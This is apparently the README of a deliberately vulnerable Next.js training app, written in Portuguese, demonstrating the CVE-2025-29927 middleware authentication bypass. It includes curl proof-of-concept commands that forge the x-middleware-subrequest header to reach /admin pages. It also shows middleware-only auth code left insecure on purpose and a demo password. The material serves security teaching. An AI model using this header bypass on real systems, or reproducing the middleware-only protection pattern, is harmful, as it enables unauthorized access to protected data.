
Demonstração educacional do CVE-2025-29927, uma bypass crítica de autenticação de middleware no Next.js. Inclui um painel de administração vulnerável, comandos de exploit de prova de conceito e orientações de mitigação para treinamento de segurança.
AVISO: Esta aplicação é intencionalmente vulnerável. Apenas para fins educacionais e autorizados de pesquisa em segurança. NÃO implante em um servidor público.
Este aplicativo demonstra a CVE-2025-29927, uma vulnerabilidade crítica de bypass de autenticação no middleware do Next.js (CVSS 9.1). A aplicação simula um painel de administração corporativo realista para a empresa fictícia "Himalaya Tech Pvt. Ltd." — tornando o impacto do bypass visualmente impactante.
Todos os registros de funcionários, chaves de API, credenciais de banco de dados e outros dados "sensíveis" mostrados são totalmente fictícios e simulados — gerados apenas para demonstração educacional.
| Campo | Detalhe |
|---|
| ID do CVE | CVE-2025-29927 |
| Severidade | Crítico (CVSS 9.1) |
| Afetado | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| Corrigido em | Next.js 14.2.30, 15.2.3 |
| Tipo | Bypass de autenticação do middleware via manipulação de cabeçalho HTTP |
O Next.js usa um cabeçalho HTTP interno x-middleware-subrequest para rastrear chamadas recursivas de middleware
e evitar loops infinitos. Em versões vulneráveis, um atacante pode forjar este cabeçalho
em uma requisição externa. Quando o cabeçalho está presente e corresponde ao identificador do middleware,
o runtime do Next.js pula o middleware completamente, incluindo toda a lógica de autenticação
definida dentro dele.
Qualquer aplicação que dependa exclusivamente de middleware.ts para proteger rotas (um padrão comum e
recomendado do Next.js) está vulnerável. Um atacante não autenticado pode acessar qualquer
página protegida simplesmente adicionando um cabeçalho HTTP.
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — HTML completo do painel de admin retornado, sem autenticação necessária
# Página de usuários do admin
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# Configurações do sistema com "credenciais de produção"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
Adicione o cabeçalho da requisição x-middleware-subrequest: middleware a qualquer requisição para /admin/*
e a verificação do middleware será ignorada.
middleware.ts é o único mecanismo de proteção:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← this entire function is skipped
}
}
return NextResponse.next();
}
Os próprios componentes da página (ex.: app/admin/page.tsx) não contêm nenhuma verificação de autenticação —
intencionalmente, para refletir aplicações do mundo real que seguem o padrão de proteção apenas por middleware.
npm install
npm run dev
O aplicativo estará disponível em http://localhost:3000.
| Rota | Autenticação Necessária | Descrição |
|---|---|---|
/ | Não | Página pública inicial |
/login | Não | Formulário de login |
/admin | Sim* | Painel de administração com dados sensíveis |
/admin/users | Sim* | Gerenciamento de usuários |
/admin/settings | Sim* | Configurações do sistema e credenciais |
*Protegido apenas pelo middleware – ignorado pelo CVE-2025-29927.
[email protected]Admin@2024Esta aplicação é fornecida apenas para fins educacionais, especificamente para demonstrar o impacto real do CVE-2025-29927 em um contexto de curso de segurança ética. Todos os dados (registros de funcionários, chaves de API, credenciais) são totalmente fictícios. Não use esta aplicação de demonstração ou as técnicas aqui demonstradas contra sistemas que você não possui ou para os quais não possui permissão explícita para testar.